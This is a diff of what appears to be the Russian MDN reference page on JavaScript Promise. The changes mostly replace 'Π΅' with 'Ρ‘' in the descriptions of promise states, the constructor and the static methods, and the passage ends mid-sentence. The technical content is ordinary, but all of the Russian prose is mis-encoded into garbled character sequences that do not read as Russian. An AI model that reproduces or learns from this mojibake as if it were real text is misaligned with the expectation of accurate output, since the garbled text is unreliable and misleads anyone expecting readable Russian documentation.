- <dd>ΠžΠ±ΡŠΠ΅ΠΊΡ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ с двумя Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π°ΠΌΠΈΒ <code>resolve</code> ΠΈ <code>reject</code>. Ѐункция <code>executor</code>Β  ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ ΠΎΠ±Π° Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π° и выполняСтся сразу, Π΅Ρ‰Π΅ Π΄ΠΎ Ρ‚ΠΎΠ³ΠΎ ΠΊΠ°ΠΊ конструктор Π²Π΅Ρ€Π½Π΅Ρ‚ созданный ΠΎΠ±ΡŠΠ΅ΠΊΡ‚. ΠŸΠ΅Ρ€Π²Ρ‹ΠΉ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ (<code>resolve</code>) Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎΠ΅ исполнСниС промиса, Π²Ρ‚ΠΎΡ€ΠΎΠΉ (<code>reject</code>) отклоняСт Π΅Π³ΠΎ.<br>
+ <dd>ΠžΠ±ΡŠΠ΅ΠΊΡ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ с двумя Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π°ΠΌΠΈΒ <code>resolve</code> ΠΈ <code>reject</code>. Ѐункция <code>executor</code>Β  ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ ΠΎΠ±Π° Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π° и выполняСтся сразу, Π΅Ρ‰Ρ‘ Π΄ΠΎ Ρ‚ΠΎΠ³ΠΎ ΠΊΠ°ΠΊ конструктор Π²Π΅Ρ€Π½Ρ‘Ρ‚ созданный ΠΎΠ±ΡŠΠ΅ΠΊΡ‚. ΠŸΠ΅Ρ€Π²Ρ‹ΠΉ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚ (<code>resolve</code>) Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎΠ΅ исполнСниС промиса, Π²Ρ‚ΠΎΡ€ΠΎΠΉ (<code>reject</code>) отклоняСт Π΅Π³ΠΎ.<br>
ΠžΠ±Ρ‹Ρ‡Π½ΠΎ функция <code>executor</code> описываСт Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΠΊΠ°ΠΊΠΎΠΉ-Ρ‚ΠΎ асинхронной Ρ€Π°Π±ΠΎΡ‚Ρ‹,Β ΠΏΠΎ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΠΈ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽΒ <code>resolve</code>Β ΠΈΠ»ΠΈΒ <code>reject</code>. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈΒ <code>executor</code> игнорируСтся.</dd>
</dl>
<h2 id="ОписаниС">ОписаниС</h2>
-<p>Π˜Π½Ρ‚Π΅Ρ€Ρ„Π΅ΠΉΡΒ <code><strong>Promise</strong></code>Β (промис) прСдставляСт собой ΠΎΠ±Π΅Ρ€Ρ‚ΠΊΡƒ для значСния, нСизвСстного Π½Π° ΠΌΠΎΠΌΠ΅Π½Ρ‚ создания промиса. Он позволяСт ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Ρ‹ асинхронных ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΉ Ρ‚Π°ΠΊ, ΠΊΠ°ΠΊ Ссли Π±Ρ‹ ΠΎΠ½ΠΈ Π±Ρ‹Π»ΠΈ синхронными: вмСсто ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠ³ΠΎ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π° асинхронного ΠΌΠ΅Ρ‚ΠΎΠ΄Π° возвращаСтся <em>ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠ΅Β </em>(промис)<em>Β </em>ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ Π²Β Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ Π² Π±ΡƒΠ΄ΡƒΡ‰Π΅ΠΌ.</p>
+<p>Π˜Π½Ρ‚Π΅Ρ€Ρ„Π΅ΠΉΡΒ <code><strong>Promise</strong></code>Β (промис) прСдставляСт собой ΠΎΠ±Ρ‘Ρ€Ρ‚ΠΊΡƒ для значСния, нСизвСстного Π½Π° ΠΌΠΎΠΌΠ΅Π½Ρ‚ создания промиса. Он позволяСт ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Ρ‹ асинхронных ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΉ Ρ‚Π°ΠΊ, ΠΊΠ°ΠΊ Ссли Π±Ρ‹ ΠΎΠ½ΠΈ Π±Ρ‹Π»ΠΈ синхронными: вмСсто ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠ³ΠΎ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π° асинхронного ΠΌΠ΅Ρ‚ΠΎΠ΄Π° возвращаСтся <em>ΠΎΠ±Π΅Ρ‰Π°Π½ΠΈΠ΅Β </em>(промис)<em>Β </em>ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ Π²Β Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ Π² Π±ΡƒΠ΄ΡƒΡ‰Π΅ΠΌ.</p>
<p><code>Promise</code> ΠΌΠΎΠΆΠ΅Ρ‚ Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒΡΡ Π² Ρ‚Ρ€Ρ‘Ρ… состояниях:</p>
@@ -45,14 +45,14 @@ new Promise(function(resolve, reject) { ... });</pre>
<li><em>ΠΎΡ‚ΠΊΠ»ΠΎΠ½Π΅Π½ΠΎ (rejected)</em>: опСрация Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½Π° с ошибкой.</li>
</ul>
-<p>ΠŸΡ€ΠΈ создании промис находится Π² <em>ΠΎΠΆΠΈΠ΄Π°Π½ΠΈΠΈ (pending)</em>, Π° Π·Π°Ρ‚Π΅ΠΌ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΡ‚Π°Ρ‚ΡŒΒ <em>исполнСнным </em> (<em>fulfilled)</em>, Π²Π΅Ρ€Π½ΡƒΠ² ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹ΠΉ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ (Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅), ΠΈΠ»ΠΈ <em>ΠΎΡ‚ΠΊΠ»ΠΎΠ½Π΅Π½Π½Ρ‹ΠΌΒ </em>(<em>rejected),</em>Β Π²Π΅Ρ€Π½ΡƒΠ² ΠΏΡ€ΠΈΡ‡ΠΈΠ½Ρƒ ΠΎΡ‚ΠΊΠ°Π·Π°. Π’ любом ΠΈΠ· этих случаСв вызываСтся ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ, ΠΏΡ€ΠΈΠΊΡ€Π΅ΠΏΠ»Π΅Π½Π½Ρ‹ΠΉ ΠΊ промису ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌΒ <code>then</code>. (Если Π² ΠΌΠΎΠΌΠ΅Π½Ρ‚ назначСния ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° промис ΡƒΠΆΠ΅ исполнСн ΠΈΠ»ΠΈ ΠΎΡ‚ΠΊΠ»ΠΎΠ½Π΅Π½, ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ всС Ρ€Π°Π²Π½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π·Π²Π°Π½, Ρ‚.Π΅. асинхронноС исполнСниС промиса ΠΈ Π½Π°Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΎΠΈΡΡ…ΠΎΠ΄ΠΈΡ‚ΡŒ Π² «состоянии гонки», ΠΊΠ°ΠΊ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π² случаС с событиями Π² DOM.)</p>
+<p>ΠŸΡ€ΠΈ создании промис находится Π² <em>ΠΎΠΆΠΈΠ΄Π°Π½ΠΈΠΈ (pending)</em>, Π° Π·Π°Ρ‚Π΅ΠΌ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΡ‚Π°Ρ‚ΡŒΒ <em>исполнСнным </em> (<em>fulfilled)</em>, Π²Π΅Ρ€Π½ΡƒΠ² ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹ΠΉ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ (Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅), ΠΈΠ»ΠΈ <em>ΠΎΡ‚ΠΊΠ»ΠΎΠ½Ρ‘Π½Π½Ρ‹ΠΌΒ </em>(<em>rejected),</em>Β Π²Π΅Ρ€Π½ΡƒΠ² ΠΏΡ€ΠΈΡ‡ΠΈΠ½Ρƒ ΠΎΡ‚ΠΊΠ°Π·Π°. Π’ любом ΠΈΠ· этих случаСв вызываСтся ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ, ΠΏΡ€ΠΈΠΊΡ€Π΅ΠΏΠ»Ρ‘Π½Π½Ρ‹ΠΉ ΠΊ промису ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌΒ <code>then</code>. (Если Π² ΠΌΠΎΠΌΠ΅Π½Ρ‚ назначСния ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° промис ΡƒΠΆΠ΅ исполнСн ΠΈΠ»ΠΈ ΠΎΡ‚ΠΊΠ»ΠΎΠ½Ρ‘Π½, ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ всС Ρ€Π°Π²Π½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π·Π²Π°Π½, Ρ‚.Π΅. асинхронноС исполнСниС промиса ΠΈ Π½Π°Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΎΠΈΡΡ…ΠΎΠ΄ΠΈΡ‚ΡŒ Π² «состоянии гонки», ΠΊΠ°ΠΊ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π² случаС с событиями Π² DOM.)</p>
<p>Π’Π°ΠΊ ΠΊΠ°ΠΊ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ <code>{{JSxRef("Promise.then", "Promise.prototype.then()")}}</code>Β ΠΈΒ <code>{{JSxRef("Promise.catch", "Promise.prototype.catch()")}}</code> сами Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°ΡŽΡ‚ промис, ΠΈΡ… ΠΌΠΎΠΆΠ½ΠΎ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒ Ρ†Π΅ΠΏΠΎΡ‡ΠΊΠΎΠΉ, создавая <em>соСдинСния.</em></p>
<p><img alt="" src="https://mdn.mozillademos.org/files/8633/promises.png" style="height: 297px; width: 801px;"></p>
<div class="blockIndicator note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> говорят, Ρ‡Ρ‚ΠΎ промис находится Π² состоянии <em>Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ (settled) </em>ΠΊΠΎΠ³Π΄Π°Β ΠΎΠ½ ΠΈΠ»ΠΈ исполнСн или ΠΎΡ‚ΠΊΠ»ΠΎΠ½Π΅Π½, Ρ‚.Π΅. Π² любом состоянии, ΠΊΡ€ΠΎΠΌΠ΅ оТидания (это лишь Ρ„ΠΎΡ€ΠΌΠ° Ρ€Π΅Ρ‡ΠΈ, Π½Π΅ ΡΠ²Π»ΡΡŽΡ‰Π°ΡΡΡ настоящим состояниСм промиса). Π’Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ½ΠΎ Π²ΡΡ‚Ρ€Π΅Ρ‚ΠΈΡ‚ΡŒ Ρ‚Π΅Ρ€ΠΌΠΈΠ½Β <em>исполин (resolved) </em>— это Π·Π½Π°Ρ‡ΠΈΡ‚ Ρ‡Ρ‚ΠΎ промис <em>Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ </em>ΠΈΠ»ΠΈ "Π·Π°Π±Π»ΠΎΠΊΠΈΡ€ΠΎΠ²Π°Π½" Π²Β ΠΎΠΆΠΈΠ΄Π°Π½ΠΈΠΈ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡΒ Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ промиса.Β Π’ ΡΡ‚Π°Ρ‚ΡŒΠ΅Β <a href="https://github.com/domenic/promises-unwrapping/blob/master/docs/states-and-fates.md">состояния ΠΈ fates</a> приводится Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΠ΅ описаниС Ρ‚Π΅Ρ€ΠΌΠΈΠ½ΠΎΠ»ΠΎΠ³ΠΈΠΈ.</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> говорят, Ρ‡Ρ‚ΠΎ промис находится Π² состоянии <em>Π·Π°Π²Π΅Ρ€ΡˆΡ‘Π½ (settled) </em>ΠΊΠΎΠ³Π΄Π°Β ΠΎΠ½ ΠΈΠ»ΠΈ исполнСн или ΠΎΡ‚ΠΊΠ»ΠΎΠ½Ρ‘Π½, Ρ‚.Π΅. Π² любом состоянии, ΠΊΡ€ΠΎΠΌΠ΅ оТидания (это лишь Ρ„ΠΎΡ€ΠΌΠ° Ρ€Π΅Ρ‡ΠΈ, Π½Π΅ ΡΠ²Π»ΡΡŽΡ‰Π°ΡΡΡ настоящим состояниСм промиса). Π’Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ½ΠΎ Π²ΡΡ‚Ρ€Π΅Ρ‚ΠΈΡ‚ΡŒ Ρ‚Π΅Ρ€ΠΌΠΈΠ½Β <em>исполин (resolved) </em>— это Π·Π½Π°Ρ‡ΠΈΡ‚ Ρ‡Ρ‚ΠΎ промис <em>Π·Π°Π²Π΅Ρ€ΡˆΡ‘Π½ </em>ΠΈΠ»ΠΈ "Π·Π°Π±Π»ΠΎΠΊΠΈΡ€ΠΎΠ²Π°Π½" Π²Β ΠΎΠΆΠΈΠ΄Π°Π½ΠΈΠΈ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡΒ Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ промиса.Β Π’ ΡΡ‚Π°Ρ‚ΡŒΠ΅Β <a href="https://github.com/domenic/promises-unwrapping/blob/master/docs/states-and-fates.md">состояния ΠΈ fates</a> приводится Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΠ΅ описаниС Ρ‚Π΅Ρ€ΠΌΠΈΠ½ΠΎΠ»ΠΎΠ³ΠΈΠΈ.</p>
</div>
<h2 id="Бвойства">Бвойства</h2>
@@ -69,13 +69,13 @@ new Promise(function(resolve, reject) { ... });</pre>
<dl>
<dt>{{jsxref("Promise.all", "Promise.all(iterable)")}}</dt>
<dd>ΠžΠΆΠΈΠ΄Π°Π΅Ρ‚ исполнСния всСх промисов ΠΈΠ»ΠΈ отклонСния любого ΠΈΠ· Π½ΠΈΡ….</dd>
- <dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ промис, который исполнится послС исполнСния всСх промисов Π² <code>iterable</code>. Π’ случаС, Ссли любой ΠΈΠ· промисов Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΊΠ»ΠΎΠ½Π΅Π½, <code>Promise.all</code> Π±ΡƒΠ΄Π΅Ρ‚ Ρ‚Π°ΠΊΠΆΠ΅ ΠΎΡ‚ΠΊΠ»ΠΎΠ½Π΅Π½.</dd>
+ <dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ промис, который исполнится послС исполнСния всСх промисов Π² <code>iterable</code>. Π’ случаС, Ссли любой ΠΈΠ· промисов Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΊΠ»ΠΎΠ½Ρ‘Π½, <code>Promise.all</code> Π±ΡƒΠ΄Π΅Ρ‚ Ρ‚Π°ΠΊΠΆΠ΅ ΠΎΡ‚ΠΊΠ»ΠΎΠ½Π΅Π½.</dd>
<dt>{{JSxRef("Promise.allSettled", "Promise.allSettled(iterable)")}}</dt>
<dd>ΠžΠΆΠΈΠ΄Π°Π΅Ρ‚ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ всСх ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹Ρ… промисов (ΠΊΠ°ΠΊ исполнСния Ρ‚Π°ΠΊ ΠΈ отклонСния).</dd>
<dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ промис, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ исполняСтся ΠΊΠΎΠ³Π΄Π° всС ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹Π΅ промисы Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½Ρ‹ (исполнСны ΠΈΠ»ΠΈ ΠΎΡ‚ΠΊΠ»ΠΎΠ½Π΅Π½Ρ‹), содСрТащий массив Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠ² исполнСния ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹Ρ… промисов.</dd>
<dt>{{jsxref("Promise.race", "Promise.race(iterable)")}}</dt>
<dd>ΠžΠΆΠΈΠ΄Π°Π΅Ρ‚ исполнСния ΠΈΠ»ΠΈ отклонСния любого ΠΈΠ· ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹Ρ… промисов.</dd>
- <dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ промис, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉΒ Π±ΡƒΠ΄Π΅Ρ‚ исполнСн ΠΈΠ»ΠΈ отклонСн с Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠΌ исполнСния ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ исполнСнного ΠΈΠ»ΠΈ ΠΎΡ‚ΠΊΠ»ΠΎΠ½Ρ‘Π½Π½ΠΎΠ³ΠΎ промиса ΠΈΠ· .<code>iterable</code>.</dd>
+ <dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ промис, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉΒ Π±ΡƒΠ΄Π΅Ρ‚ исполнСн ΠΈΠ»ΠΈ отклонён с Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠΌ исполнСния ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ исполнСнного ΠΈΠ»ΠΈ ΠΎΡ‚ΠΊΠ»ΠΎΠ½Ρ‘Π½Π½ΠΎΠ³ΠΎ промиса ΠΈΠ· .<code>iterable</code>.</dd>
</dl>
<dl>
@@ -88,7 +88,7 @@ new Promise(function(resolve, reject) { ... });</pre>
<dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ промис, исполнСнный с Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠΌ <code>value</code>.</dd>
<dd>
<div class="hidden">
- <p>Если ΡƒΒ <code>value</code> имССтся ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code>then</code>, Ρ‚ΠΎ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΡ‹ΠΉ промис Π±ΡƒΠ΄Π΅Ρ‚ "ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚ΡŒ" ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠ΅Π½ΠΈΡŽ, выступая Π°Π΄Π°ΠΏΡ‚Π΅Ρ€ΠΎΠΌ Π΅Π³ΠΎ состояния; Π² ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС Π±ΡƒΠ΄Π΅Ρ‚ возвращСн промис Π² исполнСнном состоянии. Если Π²Ρ‹ Π½Π΅ ΡƒΠ²Π΅Ρ€Π΅Π½Ρ‹, являСтся Π»ΠΈ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ промисом, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΠ±Π΅Ρ€Π½ΡƒΡ‚ΡŒ Π΅Π³ΠΎ Π²Β Β {{JSxRef("Promise.resolve", "Promise.resolve(value)")}} ΠΈ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠΈΡ‚ΡŒΒ Ρ€Π°Π±ΠΎΡ‚ΡƒΒ Ρ Π½ΠΈΠΌ ΠΊΠ°ΠΊ с промисом.</p>
+ <p>Если ΡƒΒ <code>value</code> имССтся ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code>then</code>, Ρ‚ΠΎ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΡ‹ΠΉ промис Π±ΡƒΠ΄Π΅Ρ‚ "ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚ΡŒ" ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠ΅Π½ΠΈΡŽ, выступая Π°Π΄Π°ΠΏΡ‚Π΅Ρ€ΠΎΠΌ Π΅Π³ΠΎ состояния; Π² ΠΏΡ€ΠΎΡ‚ΠΈΠ²Π½ΠΎΠΌ случаС Π±ΡƒΠ΄Π΅Ρ‚ возвращён промис Π² исполнСнном состоянии. Если Π²Ρ‹ Π½Π΅ ΡƒΠ²Π΅Ρ€Π΅Π½Ρ‹, являСтся Π»ΠΈ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ промисом, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΎΠ±Π΅Ρ€Π½ΡƒΡ‚ΡŒ Π΅Π³ΠΎ Π²Β Β {{JSxRef("Promise.resolve", "Promise.resolve(value)")}} ΠΈ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠΈΡ‚ΡŒΒ Ρ€Π°Π±ΠΎΡ‚ΡƒΒ Ρ Π½ΠΈΠΌ ΠΊΠ°ΠΊ с промисом.</p>
</div>
</dd>
</dl>
@@ -105,7 +105,7 @@ new Promise(function(resolve, reject) { ... });</pre>
<h2 id="Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅_промиса">Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ промиса</h2>
-<p>ΠžΠ±ΡŠΠ΅ΠΊΡ‚ <code>Promise</code> создаСтся ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ³ΠΎ слова <code>new</code>Β ΠΈ своСго конструктора. ΠšΠΎΠ½ΡΡ‚Ρ€ΡƒΠΊΡ‚ΠΎΡ€Β <code>Promise</code>Β ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ Π² качСствС Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΡƒΡŽ "ΠΈΡΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒ"Β (<em>executor function</em>). Π­Ρ‚Π° функция Π΄ΠΎΠ»ΠΆΠ½Π° ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Ρ‚ΡŒ Π΄Π²Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ-колбэка в качСствС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ². ΠŸΠ΅Ρ€Π²Ρ‹ΠΉ ΠΈΠ· Π½ΠΈΡ… (<code>resolve</code>) вызываСтся, ΠΊΠΎΠ³Π΄Π° асинхронная опСрация Π·Π°Π²Π΅Ρ€ΡˆΠΈΠ»Π°ΡΡŒ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ ΠΈ Π²Π΅Ρ€Π½ΡƒΠ»Π° Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ своСго исполнСния Π² Π²ΠΈΠ΄Π΅ значСния. Π’Ρ‚ΠΎΡ€ΠΎΠΉ колбэк (<code>reject</code>) вызываСтся, ΠΊΠΎΠ³Π΄Π° опСрация Π½Π΅ ΡƒΠ΄Π°Π»Π°ΡΡŒ, ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰Π΅Π΅ Π½Π° ΠΏΡ€ΠΈΡ‡ΠΈΠ½Ρƒ Π½Π΅ΡƒΠ΄Π°Ρ‡ΠΈ, Ρ‡Π°Ρ‰Π΅ всСго ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ошибки.</p>
+<p>ΠžΠ±ΡŠΠ΅ΠΊΡ‚ <code>Promise</code> создаётся ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ³ΠΎ слова <code>new</code>Β ΠΈ своСго конструктора. ΠšΠΎΠ½ΡΡ‚Ρ€ΡƒΠΊΡ‚ΠΎΡ€Β <code>Promise</code>Β ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ Π² качСствС Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Π° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΡƒΡŽ "ΠΈΡΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒ"Β (<em>executor function</em>). Π­Ρ‚Π° функция Π΄ΠΎΠ»ΠΆΠ½Π° ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Ρ‚ΡŒ Π΄Π²Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ-колбэка в качСствС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ². ΠŸΠ΅Ρ€Π²Ρ‹ΠΉ ΠΈΠ· Π½ΠΈΡ… (<code>resolve</code>) вызываСтся, ΠΊΠΎΠ³Π΄Π° асинхронная опСрация Π·Π°Π²Π΅Ρ€ΡˆΠΈΠ»Π°ΡΡŒ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ ΠΈ Π²Π΅Ρ€Π½ΡƒΠ»Π° Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ своСго исполнСния Π² Π²ΠΈΠ΄Π΅ значСния. Π’Ρ‚ΠΎΡ€ΠΎΠΉ колбэк (<code>reject</code>) вызываСтся, ΠΊΠΎΠ³Π΄Π° опСрация Π½Π΅ ΡƒΠ΄Π°Π»Π°ΡΡŒ, ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰Π΅Π΅ Π½Π° 